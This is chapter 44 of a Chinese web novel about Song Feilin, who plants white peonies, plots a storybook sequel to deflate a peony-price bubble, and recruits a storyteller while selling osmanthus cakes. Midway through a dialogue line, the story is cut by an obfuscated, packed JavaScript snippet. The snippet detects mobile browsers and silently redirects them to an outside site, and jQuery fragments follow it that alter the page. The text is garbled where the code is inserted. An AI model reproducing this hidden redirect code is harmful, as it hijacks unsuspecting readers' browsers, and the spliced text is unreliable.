44. 话本后续

作品:《宁安王妃爱养花

    宁安王府,天芳苑西侧。


    宋霏林拿着小铲子安静的在林子里挖土,在一众名品牡丹里,她还是选了她最钟爱的琉璃冠珠。


    说来也巧,方霖序曾经将一盆琉璃冠珠送去了贺府当做贺钟绮的生辰礼,这琉璃冠珠在贺钟绮的照顾下开得很艳。


    兜兜转转,琉璃冠珠又回到了她的手中。这盆栽里的花压弯了枝条,宋霏林移植几朵到林子里,也免了贺钟绮换盆的麻烦。


    宋霏林小心翼翼地把花的根茎埋进挖好的坑里,然后将坑填平。


    “姐姐,我们进屋歇息会儿吧。”


    宋霏林拭去额头上的汗珠,在荒林里,白色的牡丹显得十分突兀。


    贺钟绮指着花架上的花问道:“你当真只种琉璃冠珠?”


    宋霏林收拾起小铲子,踩了踩琉璃冠珠周围的土壤,点头道:“这府上没专门的花匠,姐姐这花可不是野生花,移栽到王府里,活不下来,姐姐怕是要伤心好久了。”


    花赠有缘人,不过是希望花能够开得更艳罢了。


    “若是姐姐花田里还有不要的白牡丹,便送来府上。有多少我要多少。”


    宋霏林抱着琉璃冠珠的盆栽去了井边。王府的管家办事是个利落的,不过半柱香的功夫,这院子里已经搭出了一个简易的花棚来。


    “那牡丹田里的白牡丹都被镇国公府的人抢了去,我这儿可没有多的花。”贺钟绮心有余悸道。


    一个时辰以前,镇国公府的人去贺府将她准备送来王府的牡丹花都抢走了。这些名品牡丹是她好不容易护下来的。


    “本想着将成片的白牡丹种到王府后,写个牡丹仙子借着白牡丹来到宁安王身边,将他唤醒的话本后续。现在怕是计划落空了。”宋霏林遗憾地叹道。


    “你这小丫头,又在打什么歪主意?”


    喻秋墨风风火火地出现在院门口,见到贺钟绮的一瞬,他突然愣了神。这女子温婉坚韧,只不过看了一眼,他便挪不开视线。


    “能打什么歪主意,不过是想卖卖花,挣点儿银子花花。”宋霏林撒娇道。


    “正经卖花,你找祈彦来探我的口风?”喻秋墨不置可否地笑道。


    她磨了一晚上的药草,不可能不知道,宁安王就只伤口发炎,烧了一夜,并无大碍。他常年忧思过重,他在他的药里加了助眠的药草。他这才一直昏睡着。


    宋霏林心虚地假笑,这玩归玩,闹归闹,鬼神之说闹大了,惠帝还不直接找人杀了传这谣言的人。


    “坦白你的计划,我再酌情换药。”喻秋墨提议道。


    她把买花祈福这事儿闹得满城皆知,宁安王就是想多昏迷几日,她也没给他机会。


    宋霏林犹豫了半晌,这个无良大夫可不是个值得信任的主儿。只是,用药权在他手上。


    “计划很简单,明日赏花宴。让宁安王完好无损地出现在那儿。然后找人去‘翠云轩’给‘笑书生’递个《琉璃冠珠》的后续,就说这牡丹仙子听到了花灵的祈祷,去月老树下寻了宁安王,将他的灵带回了肉身里。她化成了白牡丹,一直陪在宁安王的左右。宁北将军府家的二小姐发现自己已经爱上了宁安王,在宁安王苏醒后,便求母亲上门道歉,要重续两家婚约。只是宁安王已经无心情爱,忘了所有的过往,重回边城,守卫疆土。只留那白牡丹在王府里开满林间。”


    喻秋墨沉思半晌,盯着宋霏林看了许久。多管闲事不是她的行事风格。


    “你绕这么大个圈子,是想把宁安王收入囊中?”喻秋墨尖锐地问道。


    宋霏林最爱白牡丹,这琉璃冠珠是她从小养在身边的。上京城里的人随便打听打听便能知道国公府寿宴上的琉璃冠珠是她带去的。而落水被救的也是她。


    “无良大夫,瞎说什么呢?皇族的人,我可不敢高攀。我男宠那么多,为何要为一个没有见过面的王爷费心思?”


    宋霏林黛眉轻蹙,她这出牡丹仙子的戏不会将她自己给埋了吧。


    “你别玩过火了,太子妃已经因为你这买花祈福的事儿被太后叫去宫里了。如今上京城,白牡丹已经炒到五百两一株了。你明日把宁安王弄去宴会上,当心那些囤牡丹花的权贵找你报复。”喻秋墨担心道。


    这话不假,只是这宁安王明日不去赏花宴,这花价只会高得更离谱。看着这离谱的花价,怕是有更多的人不希望他醒来。再拖下去,他怕是真的再也醒不来了。


    “无良大夫,你就只负责把他平平安安地送到赏花宴上。其余的,我来操心就行。我卖花就只赚了三百多两银子,花价泡沫破灭的账可算不到我头上。”


    喻秋墨止不住地叹气。这炒花的行为是从邀月花坊出去的。那些人看在宁贵妃的面子敢怒不敢言,可宁贵妃可不会这么轻易地放过她。


    “别叹气了,听着心烦。你若没事儿,过来给我写话本子。”


    “我要去磨药草,哪儿有时间给你写话本子。”喻秋墨囔道。


    宋霏林挡住他的去路,“我都给你磨一晚上药草了,你还要磨什么?赶紧过来给我写话本子,我念一句,你写一句。”


    “你又不是不识字,不会自己写?”


    宋霏林拽着喻秋墨的胳膊,撒娇道:“字好多,写着手疼。秋墨哥哥,帮帮忙。”


    贺钟绮看着宋霏林,情不自禁地轻笑出声,喻秋墨顿时失了神,被宋霏林硬生生拖进了屋。


    惠源街,翠云轩。


    宋霏林穿着粗布短衣,嘴里叼着半块冒着热气儿的桂花糕,蹲在茶肆的柳树边,吆喝道:“桂花糕啊,刚出炉的桂花糕。两文钱一块。走过路过不要错过。”


    “小姑娘,来两块。”


    一个裁缝打扮的人儿凑了过来。宋霏林倒了杯清茶递了过去,赔笑道:“客官,我看你唇角生疮,面部有疖,不宜食糖。这桂花糕,我可不能卖给你。”


    “你这小姑娘,对客人挑挑拣拣,当心桂花糕卖不出去。”


    来人拂袖而去,宋霏林利落地将嘴里的半块糕点咽到了肚子里,又从篮子里拿了一块。宁安王府的厨子手艺着实一绝,这做桂花糕的手艺都快赶上云欢郡主家的谢师傅了。


    “桂花糕啊,刚出炉的桂花糕。两文钱一块。走过路过不要错过。”宋霏林继续吆喝道。


    一个马夫凑了过来,“姑娘,来两块桂花糕。不过我的钱袋子被人偷了,我能先赊账吗?明日你还在这儿吗?我定来销账。”


    这人儿脚上的草鞋已经磨损严重,粗布麻衣也打满补丁。宋霏林从一旁拿出还热乎的白面馒头,“大哥,这桂花糕不饱肚子,吃这个。”


    马夫热泪盈眶,拽着宋霏林的衣袖,囔道:“姑娘真是好人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967461|188560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊。一饭之恩,云某定当谨记。不知姑娘芳名,日后定当报答。”


    “就两文钱的事儿,报答便不必了。日后你若见到街边乞儿给他买点馒头。就当是平了我这账。”


    马夫点点头,揣着热乎乎的馒头离开了。宋霏林继续吃着她的桂花糕,吆喝道:“桂花糕啊,刚出炉的桂花糕。两文钱一块。走过路过不要错过。”


    “姑娘,你这桂花糕卖了小半个时辰。一块都没卖出去,倒是被你自己吃了快一半了。”


    宋霏林的身后冒出了一道潇洒戏谑的声音。来人的身上充斥着白玉的牡丹香。笑书生最爱白牡丹里的白玉。


    “花赠有缘人,这糕点不也是同样的道理。我在这儿摆摊摆了小半个时辰,也没遇到我这糕点的有缘人,不得自己把它都吃了。”宋霏林转头笑道。


    来人二十岁上下的年纪,头顶草帽,脚套草鞋,腰间系着一根麻绳,背上背着柴篓,手里拽着两条活鱼。他不愧是冯焕的挚友,两人的装扮风格出奇地一致。


    “那姑娘你这把直钩,是在等哪条鱼上钩呢?”笑书生的视线从未宋霏林手中桂花糕上挪开。


    这丫头绝对是故意的,一直在吃,一直在诱惑他。就等着他主动过去同她搭话。


    “等能买得起我桂花糕的人。”


    宋霏林一口将那花糕塞进嘴里,桂花的清香在嘴里四溢,她脸上自然流露出心满意足的笑容。笑书生被她这模样勾得越发心痒难耐。


    “姑娘这桂花糕两文一个,可不是什么难负担的价钱。”笑书生笑道。


    “我这花糕是打包卖的。谁买得起这篮子。这花糕我才两文一个卖给他。”


    宋霏林所指的篮子里躺着一个墨迹才干的话本子。


    “《花缘错》。姑娘,在下可不讲痴男怨女的话本子。”


    话音未落,他的嘴里被塞了一块桂花糕。这桂花糕口感细腻,做工精细。这可不是普通人家的小姑娘能做出来的。


    “听说镇国公府的人在抢花田的时候,打伤了花农。这可是先生能为他们讨回公道绝佳机会。”


    “你这小姑娘……”


    笑书生眼里有了防备,再次定睛看那话本子。标题上的字迹却像极了他认识的那个无良大夫。


    “一篮桂花糕就想让我得罪镇国公府。这买卖我可不做。”笑书生嘴硬道。


    “那可由不得你。吃了我的花糕,就得给我办事儿。”宋霏林强词夺理道。


    “姐,时候不早了,该回去了。”


    宋祈彦驾着马车赶过来。宋霏林像兔子一样跳了过去,隔空扔过来一个香包,“帮我抢花田,你的白玉香包,花坊无限量供应。”


    “你看我……”


    话说到一半,笑书生突然噤了声。这香包的穗子上挂着“慕祈花坊”的牌子。


    他本还奇怪是哪家小姐在府里待着烦闷,带着护卫来这流民聚集地摆摊。原来是这宋家老三。


    罢了,罢了。


    到底是吃人嘴短。


    他放下柴篓,沏了壶热腾腾的茉莉花茶,坐在宋霏林留下的矮凳上,同她一样嘴里叼着半块桂花糕吆喝道:“桂花糕啊,刚出炉的桂花糕。两文钱一块。走过路过不要错过。吃着我的桂花糕,听我讲个《花缘错》的故事。这故事要从宁安王为救牡丹仙子昏迷说起……”